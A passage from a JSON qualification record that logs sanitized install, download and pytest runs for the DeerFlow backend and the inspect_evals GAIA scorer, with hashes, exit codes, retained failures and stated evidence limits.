"48b395eff316fa55ee7f267189a0d0304b2207b7ad432dcf9037dedcc1306f5a", + "deerflow/backend/tests/test_mcp_client_config.py": "e38135bbafda3a612f0f32443717f5cccf38bdc72b9045156c9ffbfe082cd584", + "deerflow/backend/tests/test_client.py": "24a81145a312cdb3e945fa2db1fd84c27a8240c390a73e1e191b7559dacb222e", + "inspect_evals/uv.lock": "9669e68ccc82e9b990f90fc521671ab71e3650adf8896ba5537598bb772b3afa", + "inspect_evals/pyproject.toml": "10cf227d04d7d56fc7afd4a083f5c85bbb059916118fa57c5b84d75a803a2676", + "inspect_evals/tests/conftest.py": "1beffbf17c2aec28f69e5ed8763b4bc46b212dc3579446cb29ddfbb736dd388f", + "inspect_evals/tests/gaia/test_scorer.py": "9162d8b4e2b366a0b378e120473793001b2b14e7bac0e22e9e32433c69317c67", + "inspect_evals/src/inspect_evals/gaia/scorer.py": "49999358fb9602d390024bf7040139c142af1bb61e18c15043aea2af84fad56d", + "grader/requirements.lock": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "archives/deerflow-source.tar.gz": "de309ec407d0b5b9ef1855a2cdcd97d9a9c2c95d0b0029cde6c79b9212518ffe", + "archives/inspect_evals-source.tar.gz": "8938d36b92a637f894f0aaa4e0c114f43d6851ff58f89176f3b29630ea3a322a", + "local_recipe/recipe.py": "f21cd2182226f6b77b81fbd399805e643cd65ead2f82a898116448dfe132b0bd", + "local_recipe/pins.json": "ccaa5cbccc831eaf41f62462633dfdf01920ba4dd30ea42c4453a2b8825babd2" + }, + "distinction": "Archive comparison and installed distribution/hash inspection are local structural observations; the two pytest runs remain unchanged upstream unit tests." + }, + "retained_failures": [ + { + "run_id": "backend-prerequisites-absent-control", + "exit_code": 1, + "condition": "Same selected native pytest command before backend dependency installation; no pytest module.", + "resolution": "Supported uv sync --locked --python 3.13; identical test command later passed.", + "proves": "Missing runtime/test prerequisite is detected. This is not an executed failing upstream test." + }, + { + "run_id": "grader-prerequisites-absent-control", + "exit_code": 1, + "condition": "Same selected native pytest command before dev test-runner installation; no pytest module.", + "resolution": "Native uv pip install of upstream dev runner versions from its uv.lock; identical test command later passed.", + "proves": "Missing test prerequisite is detected. This is not an executed failing scorer test." + }, + { + "run_id": "backend-dependency-check", + "exit_code": 1, + "condition": "langgraph-sdk 0.4.2 metadata requires websockets>=14,<16; the upstream override installs 16.0.", + "resolution": "Preserved without changing upstream source/dependencies. Upstream pyproject explains the explicit compatibility override; selected unit tests pass, but the metadata checker failure remains.", + "source": "https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/pyproject.toml#L91-L106" + } + ], + "evidence_boundaries": [ + "Upstream backend tests include native upstream mocks; conftest pre-mocks the subagent executor. Passing them does not establish subagent/model execution.", + "Official scorer tests use upstream synthetic completions and wrong-answer cases; they establish scorer behavior, not a GAIA dataset score.", + "No full DeerFlow server, Docker/image lifecycle, MCP process connection, native skill discovery through a running worker, model invocation, gated dataset fetch or provider usage measurement.", + "No claim of measured superiority, token savings, another-host portability, global installation or production readiness.", + "Raw records retain the actual returned rtk command streams and exit codes. Public output is sanitized/projection; it is not a new test replay." + ], + "output_retention": { + "private_records": "Original returned command output, argument vectors, working directories, start/end timestamps and exit codes retained outside the checkout in the owned qualification prefix.", + "public_sanitization": [ + "Private prefix and repository absolute paths replaced with placeholders.", + "ANSI color escapes removed if present.", + "Long install/help/release-note output projected as explicitly marked; raw byte counts and SHA256 bind the retained complete streams.", + "No credentials, private preexisting account state, host paths, native session/run identifiers or conversations published." + ], + "cleanup": "Owned dependency/source prefixes retained for rollback and review; no background service was started." + }, + "runs": [ + { + "id": "uv-version", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "uv", + "--version" + ], + "working_directory": "", + "started_at": "2026-09-30T05:59:14.158Z", + "finished_at": "2026-09-30T05:59:14.191Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 38, + "raw_sha256": "dd643ebda7165a77a7fe3c9f445ec1a2cfebe1bfe0329015937763dce919c33d", + "sanitized_text": "uv 0.12.17 (x86_64-unknown-linux-gnu)\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "python-version", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "python3", + "--version" + ], + "working_directory": "", + "started_at": "2026-09-30T05:59:14.193Z", + "finished_at": "2026-09-30T05:59:14.272Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 15, + "raw_sha256": "322f765b04793d55160c8788550761630087e4847a77ed7a1090d79791f73c3b", + "sanitized_text": "Python 3.13.15\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "release-latest", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "gh", + "api", + "repos/bytedance/deer-flow/releases/latest", + "--jq", + "{tag_name,published_at,html_url,target_commitish}" + ], + "working_directory": "", + "started_at": "2026-09-30T05:59:14.272Z", + "finished_at": "2026-09-30T05:59:14.565Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 158, + "raw_sha256": "8128bd5e4e44c571f434075d4373d332f7ded31ca55136ba2813744afc544371", + "sanitized_text": "{\"html_url\":\"https://github.com/bytedance/deer-flow/releases/tag/v2.1.0\",\"published_at\":\"2026-09-24T10:40:44Z\",\"tag_name\":\"v2.1.0\",\"target_commitish\":\"main\"}\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "release-tag", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "gh", + "api", + "repos/bytedance/deer-flow/releases/tags/v2.1.0", + "--jq", + "{tag_name,published_at,html_url,body}" + ], + "working_directory": "", + "started_at": "2026-09-30T05:59:14.565Z", + "finished_at": "2026-09-30T05:59:14.943Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 23962, + "raw_sha256": "9190df3bb8c49523a2e17c0dd45d813ff20e3c2a8cb3f4bb44693e2a2b07b2e5", + "public_text_omitted": "Release notes retained privately; tag metadata is in release-latest and the pinned release source." + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "uv-sync-help", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "uv", + "sync", + "--help" + ], + "working_directory": "", + "started_at": "2026-09-30T05:59:14.944Z", + "finished_at": "2026-09-30T05:59:14.976Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 11200, + "raw_sha256": "453a121c64d1987511201fbc1d1672fef905eda51c34d0f836b47e860be3ca1b", + "excerpt_selection": "Usage and relevant installed CLI option lines.", + "sanitized_text": "Update the project's environment\n\nUsage: uv sync [OPTIONS]\n --locked\n --frozen\n -p, --python The Python interpreter to use for the project environment. [env:\n", + "full_returned_stream": false + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "archive-download", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "curl", + "--fail", + "--location", + "--silent", + "--show-error", + "--max-time", + "50", + "https://codeload.github.com/bytedance/deer-flow/tar.gz/345f08be00c8a9495079b732a39b46aa9af1584e", + "--output", + "/source.tar.gz" + ], + "working_directory": "", + "started_at": "2026-09-30T05:59:14.977Z", + "finished_at": "2026-09-30T05:59:17.022Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 1, + "raw_sha256": "01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b", + "sanitized_text": "\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "archive-extract", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "tar", + "-xzf", + "/source.tar.gz", + "-C", + "" + ], + "working_directory": "", + "started_at": "2026-09-30T06:00:01.041Z", + "finished_at": "2026-09-30T06:00:02.669Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "grader-archive-download", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "curl", + "--fail", + "--location", + "--silent", + "--show-error", + "--max-time", + "50", + "https://codeload.github.com/UKGovernmentBEIS/inspect_evals/tar.gz/41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "--output", + "/grader-source.tar.gz" + ], + "working_directory": "", + "started_at": "2026-09-30T06:01:55.760Z", + "finished_at": "2026-09-30T06:02:01.600Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 1, + "raw_sha256": "01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b", + "sanitized_text": "\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "grader-archive-extract", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "tar", + "-xzf", + "/grader-source.tar.gz", + "-C", + "" + ], + "working_directory": "", + "started_at": "2026-09-30T06:02:01.602Z", + "finished_at": "2026-09-30T06:02:04.281Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "backend-prerequisites-absent-control", + "evidence_class": "missing_prerequisite_control", + "argv": [ + "rtk", + "uv", + "run", + "--no-sync", + "python", + "-m", + "pytest", + "-m", + "not live", + "tests/test_model_factory.py", + "tests/test_mcp_client_config.py", + "tests/test_client.py", + "-q" + ], + "working_directory": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend", + "started_at": "2026-09-30T06:04:22.634Z", + "finished_at": "2026-09-30T06:04:22.856Z", + "exit_code": 1, + "signal": null, + "stdout": { + "raw_bytes": 151, + "raw_sha256": "9ac63dc1dd958cdb2743b746467612fca6c0d198898ed5c50fb61108f76d6597", + "sanitized_text": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/.venv/bin/python: No module named pytest\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "backend-install", + "evidence_class": "native_installation", + "argv": [ + "rtk", + "uv", + "sync", + "--locked", + "--python", + "3.13" + ], + "working_directory": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend", + "started_at": "2026-09-30T06:05:08.392Z", + "finished_at": "2026-09-30T06:05:13.315Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 7932, + "raw_sha256": "9473a9a219382d2b8c0e4b42b128d2fe6d9e3e0d3e1fbb8abdd60686fe09d76c", + "excerpt_selection": "Interpreter/install totals and selected component/test package lines.", + "sanitized_text": "Resolved 250 packages in 4ms\n Built deerflow-extension-api @ file:///deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/extension-api\n Built deerflow-harness @ file:///deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness\nPrepared 227 packages in 3.74s\nInstalled 227 packages in 1.01s\n + deerflow-extension-api==0.2.1 (from file:///deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/extension-api)\n + deerflow-harness==2.1.0 (from file:///deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness)\n + langchain-openai==1.2.1\n + langgraph-sdk==0.4.2\n + pytest==9.0.3\n + pytest-asyncio==1.3.0\n + websockets==16.0\n", + "full_returned_stream": false + } + }, + { + "id": "backend-native-tests", + "evidence_class": "unchanged_upstream_unit_tests", + "argv": [ + "rtk", + "uv", + "run", + "--no-sync", + "python", + "-m", + "pytest", + "-m", + "not live", + "tests/test_model_factory.py", + "tests/test_mcp_client_config.py", + "tests/test_client.py", + "-q" + ], + "working_directory": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend", + "started_at": "2026-09-30T06:05:50.260Z", + "finished_at": "2026-09-30T06:06:03.084Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 1103, + "raw_sha256": "acbc2e8681c76013160a5fc5b407ff3a2695e96477ccbaf6a83985e87d524631", + "sanitized_text": "........................................................................ [ 23%]\n........................................................................ [ 46%]\n........................................................................ [ 69%]\n........................................................................ [ 93%]\n..................... [100%]\n=============================== warnings summary ===============================\ntests/test_model_factory.py::test_unknown_config_key_emits_warning\n /deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/.venv/lib/python3.13/site-packages/_pytest/python.py:166: UserWarning: WARNING! definitely_not_a_real_kwarg is not default parameter.\n definitely_not_a_real_kwarg was transferred to model_kwargs.\n Please confirm that definitely_not_a_real_kwarg is what you intended.\n result = testfunction(**testargs)\n\n-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html\n309 passed, 1 warning in 8.84s\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "grader-install", + "evidence_class": "native_installation", + "argv": [ + "rtk", + "python3", + "-c", + "import runpy; from pathlib import Path; recipe = runpy.run_path(\"/blueprints/runtime-workers/deerflow/recipe.py\"); recipe['install_grader'](Path(\"\"))" + ], + "working_directory": "", + "started_at": "2026-09-30T06:07:34.327Z", + "finished_at": "2026-09-30T06:08:02.727Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 29715, + "raw_sha256": "e816615edc1d2698707ef6b2ae0c7e23a4f9866dc1a094879b8b04c1f7c6801e", + "excerpt_selection": "Exact native install success package line and dependency-check output; downloads omitted.", + "sanitized_text": "Successfully installed agent-client-protocol-0.12.1 aiobotocore-3.9.1 aiohappyeyeballs-2.7.1 aiohttp-3.14.3 aioitertools-0.13.0 aiosignal-1.4.0 annotated-doc-0.0.5 annotated-types-0.8.0 anyio-4.15.1 attrs-26.1.0 backoff-2.2.1 beautifulsoup4-4.15.0 boto3-1.43.75 botocore-1.43.75 certifi-2026.7.22 charset-normalizer-3.5.1 click-8.5.0 datasets-5.0.1 debugpy-1.8.22 dill-0.4.1 docstring-parser-0.18.0 fastapi-0.141.1 filelock-4.0.4 frozenlist-1.8.0 fsspec-2026.6.0 h11-0.16.0 hf-xet-1.6.0 httpcore-1.0.9 httpx-0.28.1 huggingface-hub-1.33.0 idna-3.20 ijson-3.5.1 inspect-ai-0.3.271 inspect-evals-0.22.0 jinja2-3.1.6 jmespath-1.1.0 jsonlines-4.0.0 jsonpatch-1.33 jsonpath-ng-1.8.0 jsonpointer-3.1.1 jsonref-1.1.0 jsonschema-4.26.0 jsonschema-specifications-2025.9.1 linkify-it-py-2.2.0 markdown-it-py-4.2.0 markupsafe-3.0.3 mdit-py-plugins-0.6.1 mdurl-0.1.2 mmh3-5.3.0 multidict-6.9.1 multiprocess-0.70.19 nest-asyncio2-1.7.3 numpy-2.5.3 packaging-26.3 pandas-3.0.6 pathlib-abc-0.5.2 pillow-12.3.0 platformdirs-4.12.0 propcache-0.5.4 psutil-7.2.2 pyarrow-25.0.1 pydantic-2.13.5 pydantic-core-2.46.5 pygments-2.21.0 python-dateutil-2.9.0.post0 python-dotenv-1.2.3 pyyaml-6.0.3 referencing-0.37.0 regex-2026.9.10 requests-2.34.2 rich-15.0.0 rpds-py-2026.6.3 s3fs-2026.6.0 s3transfer-0.19.2 semver-3.1.0 shortuuid-1.0.13 six-1.17.0 sniffio-1.3.1 soupsieve-2.10 starlette-1.7.0 tenacity-9.1.4 textual-8.2.8 tiktoken-0.14.0 toml-0.10.2 tqdm-4.70.1 typing-extensions-4.16.0 typing-inspection-0.4.4 universal-pathlib-0.3.10 urllib3-2.8.0 uvicorn-0.54.0 wrapt-2.5.0 xxhash-4.0.1 yarl-1.25.1 zipfile-zstd-0.0.4 zipp-4.1.0 zstandard-0.25.0\nNo broken requirements found.\n", + "full_returned_stream": false + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "grader-prerequisites-absent-control", + "evidence_class": "missing_prerequisite_control", + "argv": [ + "rtk", + "uv", + "run", + "--no-sync", + "python", + "-m", + "pytest", + "tests/gaia/test_scorer.py", + "-q" + ], + "working_directory": "/inspect_evals-41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "started_at": "2026-09-30T06:09:16.143Z", + "finished_at": "2026-09-30T06:09:16.241Z", + "exit_code": 1, + "signal": null, + "stdout": { + "raw_bytes": 93, + "raw_sha256": "17129af83f5f930fb307d19a93e27aa2fdb1dfae578331c0f1ecf44256951fc2", + "sanitized_text": "/grader/bin/python: No module named pytest\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "backend-dependency-check", + "evidence_class": "native_dependency_check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/.venv/bin/python" + ], + "working_directory": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend", + "started_at": "2026-09-30T06:09:16.244Z", + "finished_at": "2026-09-30T06:09:16.292Z", + "exit_code": 1, + "signal": null, + "stdout": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 135, + "raw_sha256": "8d941744a633e69b0c7cd5555af8755f0d93b146fe424dc80089ab9000b787a6", + "sanitized_text": "Checked 227 packages in 3ms\nFound 1 incompatibility\nThe package `langgraph-sdk` requires `websockets>=14,<16`, but `16.0` is installed\n", + "full_returned_stream": true + } + }, + { + "id": "backend-installed-help", + "evidence_class": "native_source_or_command_preflight", + "argv": [ + "rtk", + "uv", + "run", + "--no-sync", + "deerflow", + "--help" + ], + "working_directory": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend", + "started_at": "2026-09-30T06:09:16.293Z", + "finished_at": "2026-09-30T06:09:16.391Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 1133, + "raw_sha256": "67cc3a95ad26d4e6b074e20f9a8112a75646eb3dd7eb07cc898d3c965d510480", + "sanitized_text": "usage: deerflow [-h] [--print [MESSAGE]] [--json [MESSAGE]] [--tui]\n [--tui-transparent] [--cli] [--continue] [--resume THREAD]\n [--recursion-limit N]\n [message ...]\n\nDeerFlow terminal workbench — a TUI over the embedded DeerFlow harness.\n\npositional arguments:\n message initial prompt for the TUI, or message in --cli mode\n\noptions:\n -h, --help show this help message and exit\n --print [MESSAGE] headless one-shot: print the final answer and exit\n (reads stdin if no MESSAGE)\n --json [MESSAGE] headless streaming: emit newline-delimited JSON\n StreamEvents and exit\n --tui force the terminal UI (error if unavailable)\n --tui-transparent use the terminal's default background in the TUI\n --cli force headless/classic mode for one invocation\n --continue resume the most recent thread\n --resume THREAD resume a thread by id or title\n --recursion-limit N headless agent-loop super-step limit (default: 100)\n\nExtension management: deerflow extensions --help\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "grader-test-runner-install", + "evidence_class": "native_installation", + "argv": [ + "rtk", + "uv", + "pip", + "install", + "--python", + "/grader/bin/python", + "--only-binary", + ":all:", + "pytest==9.1.1", + "pytest-asyncio==1.3.0", + "pytest-dotenv==0.5.2", + "pytest-xdist==3.8.0", + "pytest-mock==3.15.1", + "pytest-cov==7.1.0", + "pytest-reportlog==1.0.0", + "pytest-custom-exit-code==0.3.0", + "pytest-rerunfailures==16.1" + ], + "working_directory": "/inspect_evals-41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "started_at": "2026-09-30T06:10:15.752Z", + "finished_at": "2026-09-30T06:10:16.119Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 483, + "raw_sha256": "30dd3bf7833ccf1ebf2e91fa9c7f84e0e4541461c270c6790d3312f5c0f5e76b", + "sanitized_text": "Using Python 3.13.15 environment at: /grader\nResolved 16 packages in 220ms\nPrepared 10 packages in 39ms\nInstalled 13 packages in 27ms\n + coverage==7.16.2\n + execnet==2.1.2\n + iniconfig==2.3.0\n + pluggy==1.6.0\n + pytest==9.1.1\n + pytest-asyncio==1.3.0\n + pytest-cov==7.1.0\n + pytest-custom-exit-code==0.3.0\n + pytest-dotenv==0.5.2\n + pytest-mock==3.15.1\n + pytest-reportlog==1.0.0\n + pytest-rerunfailures==16.1\n + pytest-xdist==3.8.0\n", + "full_returned_stream": true + } + }, + { + "id": "grader-native-tests", + "evidence_class": "unchanged_upstream_unit_tests", + "argv": [ + "rtk", + "uv", + "run", + "--no-sync", + "python", + "-m", + "pytest", + "tests/gaia/test_scorer.py", + "-q" + ], + "working_directory": "/inspect_evals-41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "started_at": "2026-09-30T06:10:45.685Z", + "finished_at": "2026-09-30T06:10:48.756Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 1642, + "raw_sha256": "b00fa05ec6e2a05dfa8c55687a15d5e1002a3bca873421f858f743205dcadf89", + "sanitized_text": "........ [100%]\n=============================== warnings summary ===============================\n../grader/lib/python3.13/site-packages/pydantic/_internal/_generate_schema.py:954\n /grader/lib/python3.13/site-packages/pydantic/_internal/_generate_schema.py:954: PydanticDeprecatedSince20: `__get_validators__` is deprecated and will be removed, use `__get_pydantic_core_schema__` instead. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.13/migration/\n warnings.warn(\n\n-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html\n==================================== PASSES ====================================\n============================= slowest 10 durations =============================\n\n(10 durations < 0.005s hidden. Use -vv to show these durations.)\n=========================== short test summary info ============================\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[42-42-C]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[99-42-I]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[3.14-3.14-C]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[Hello World-hello world-C]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[foo-bar-I]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[apple, banana, cherry-apple, banana, cherry-C]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[apple, banana-apple, banana, cherry-I]\nPASSED tests/gaia/test_scorer.py::test_gaia_scorer[$1,000-1000-C]\n8 passed, 1 warning in 0.22s\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "grader-dependency-check", + "evidence_class": "native_dependency_check", + "argv": [ + "rtk", + "uv", + "pip", + "check", + "--python", + "/grader/bin/python" + ], + "working_directory": "/inspect_evals-41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "started_at": "2026-09-30T06:12:14.277Z", + "finished_at": "2026-09-30T06:12:14.331Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 161, + "raw_sha256": "3172fd7111e5f0c660b65d071a8524c528e02e0821b4192be847d23a944b1337", + "sanitized_text": "Using Python 3.13.15 environment at: /grader\nChecked 110 packages in 1ms\nAll installed packages are compatible\n", + "full_returned_stream": true + } + }, + { + "id": "grader-independent-observation", + "evidence_class": "independent_observation", + "argv": [ + "rtk", + "/grader/bin/python", + "-c", + "import json, sys, platform, hashlib, importlib.metadata as m, importlib.util as u; names=['inspect-ai','inspect-evals','pytest','pytest-asyncio','pytest-dotenv','pytest-xdist','pytest-mock','pytest-cov','pytest-reportlog','pytest-custom-exit-code','pytest-rerunfailures']; p=u.find_spec('inspect_evals.gaia.scorer').origin; print(json.dumps({'python':sys.version.split()[0],'platform':sys.platform,'architecture':platform.machine(),'versions':{n:m.version(n) for n in names},'distribution_count':len(list(m.distributions())),'installed_scorer_sha256':hashlib.sha256(open(p,'rb').read()).hexdigest(),'installed_scorer_origin':p},sort_keys=True))" + ], + "working_directory": "/inspect_evals-41c72eaa2b807ce43f35fac6f3f399318adc7e9d", + "started_at": "2026-09-30T06:12:14.334Z", + "finished_at": "2026-09-30T06:12:16.547Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 645, + "raw_sha256": "138973e36a016bc4f49afe9c5a3de6b9e4d9f62b45bd929c05b9ab5eb05eb959", + "sanitized_text": "{\"architecture\": \"x86_64\", \"distribution_count\": 110, \"installed_scorer_origin\": \"/grader/lib/python3.13/site-packages/inspect_evals/gaia/scorer.py\", \"installed_scorer_sha256\": \"49999358fb9602d390024bf7040139c142af1bb61e18c15043aea2af84fad56d\", \"platform\": \"linux\", \"python\": \"3.13.15\", \"versions\": {\"inspect-ai\": \"0.3.271\", \"inspect-evals\": \"0.22.0\", \"pytest\": \"9.1.1\", \"pytest-asyncio\": \"1.3.0\", \"pytest-cov\": \"7.1.0\", \"pytest-custom-exit-code\": \"0.3.0\", \"pytest-dotenv\": \"0.5.2\", \"pytest-mock\": \"3.15.1\", \"pytest-reportlog\": \"1.0.0\", \"pytest-rerunfailures\": \"16.1\", \"pytest-xdist\": \"3.8.0\"}}\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "backend-independent-observation", + "evidence_class": "independent_observation", + "argv": [ + "rtk", + "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend/.venv/bin/python", + "-c", + "import json,sys,platform,importlib.metadata as m; names=['deerflow-harness','deerflow-extension-api','langchain-openai','langgraph-sdk','websockets','pytest','pytest-asyncio']; print(json.dumps({'python':sys.version.split()[0],'platform':sys.platform,'architecture':platform.machine(),'versions':{n:m.version(n) for n in names},'distribution_count':len(list(m.distributions()))},sort_keys=True))" + ], + "working_directory": "/deer-flow-345f08be00c8a9495079b732a39b46aa9af1584e/backend", + "started_at": "2026-09-30T06:12:16.550Z", + "finished_at": "2026-09-30T06:12:16.697Z", + "exit_code": 0, + "signal": null, + "stdout": { + "raw_bytes": 297, + "raw_sha256": "75da6caa73008e641a0bcb6bfeb43e8069d5ab70093888392ab58b50d1745840", + "sanitized_text": "{\"architecture\": \"x86_64\", \"distribution_count\": 227, \"platform\": \"linux\", \"python\": \"3.13.15\", \"versions\": {\"deerflow-extension-api\": \"0.2.1\", \"deerflow-harness\": \"2.1.0\", \"langchain-openai\": \"1.2.1\", \"langgraph-sdk\": \"0.4.2\", \"pytest\": \"9.0.3\", \"pytest-asyncio\": \"1.3.0\", \"websockets\": \"16.0\"}}\n", + "full_returned_stream": true + }, + "stderr": { + "raw_bytes": 0, + "raw_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "sanitized_text": "", + "full_returned_stream": true + } + }, + { + "id": "archive-source-independent-comparison", + "evidence_class": "independent_observation", + "argv": [ + "rtk", + "python3", + "-c", + "import json,tarfile,pathlib,sys; 